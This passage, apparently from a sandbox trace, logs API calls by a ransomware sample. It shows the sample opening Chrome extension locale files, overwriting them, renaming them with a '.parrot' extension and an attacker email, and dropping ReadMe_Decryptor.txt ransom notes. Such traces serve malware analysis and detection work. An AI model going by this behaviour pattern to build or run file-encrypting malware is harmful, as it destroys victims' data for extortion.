dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0059.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0059.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0059.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d90f8 [0059.265] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0059.310] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.310] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.310] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.310] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.310] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0059.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0059.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.310] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0059.310] GetFileSize (in: hFile=0x284, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xd9 [0059.310] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f1, nNumberOfBytesToLockHigh=0x0) returned 1 [0059.310] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0059.310] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0059.311] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.311] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd9, lpOverlapped=0x0) returned 1 [0059.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0059.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0059.312] GetLastError () returned 0x0 [0059.312] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0059.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0059.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0059.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0059.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0059.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0059.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0059.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0059.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0059.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0059.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0059.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0059.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0059.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0059.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0059.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0059.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0059.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d9310 [0059.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0059.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d9458 [0059.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0059.313] WriteFile (in: hFile=0x284, lpBuffer=0x5d9458*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d9458*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0059.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9458 | out: hHeap=0x5b0000) returned 1 [0059.313] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0059.313] CloseHandle (hObject=0x284) returned 1 [0059.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9310 [0059.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d9448 [0059.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0059.314] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0059.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9448 | out: hHeap=0x5b0000) returned 1 [0059.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c650 | out: hHeap=0x5b0000) returned 1 [0059.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da318 | out: hHeap=0x5b0000) returned 1 [0059.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9310 [0059.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9438 [0059.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0059.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0059.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0059.316] GetFileType (hFile=0x284) returned 0x1 [0059.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0059.327] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69c650 [0059.327] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb209ed60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb209ed60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb209ed60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0059.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0059.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.327] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0059.327] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb209ed60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb209ed60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb209ed60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0059.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0059.327] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0059.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0059.446] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0059.446] lstrcmpW (lpString1="pt_BR", lpString2=".") returned 1 [0059.446] lstrcmpW (lpString1="pt_BR", lpString2="..") returned 1 [0059.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0059.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d90e8 [0059.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0059.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0059.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0059.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9288 [0059.446] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0059.447] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.447] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.447] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.447] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.447] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0059.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0059.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.447] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.447] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0059.447] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xde [0059.447] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0059.447] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0059.448] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0059.448] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.449] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xde, lpOverlapped=0x0) returned 1 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0059.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0059.449] GetLastError () returned 0x0 [0059.449] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0059.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0059.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0059.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0059.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0059.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0059.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0059.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0059.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0059.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0059.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0059.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0059.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0059.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0059.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0059.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0059.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0059.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0059.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0059.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0059.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0228 [0059.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0059.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0370 [0059.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0059.450] WriteFile (in: hFile=0x288, lpBuffer=0x5d0370*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0370*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0059.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0370 | out: hHeap=0x5b0000) returned 1 [0059.450] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0059.450] CloseHandle (hObject=0x288) returned 1 [0059.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d0228 [0059.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d0370 [0059.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0059.451] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0059.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0370 | out: hHeap=0x5b0000) returned 1 [0059.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c7d8 | out: hHeap=0x5b0000) returned 1 [0059.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0059.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d94a0 [0059.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5d95c8 [0059.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0059.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0059.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0059.453] GetFileType (hFile=0x288) returned 0x1 [0059.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0059.465] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.465] 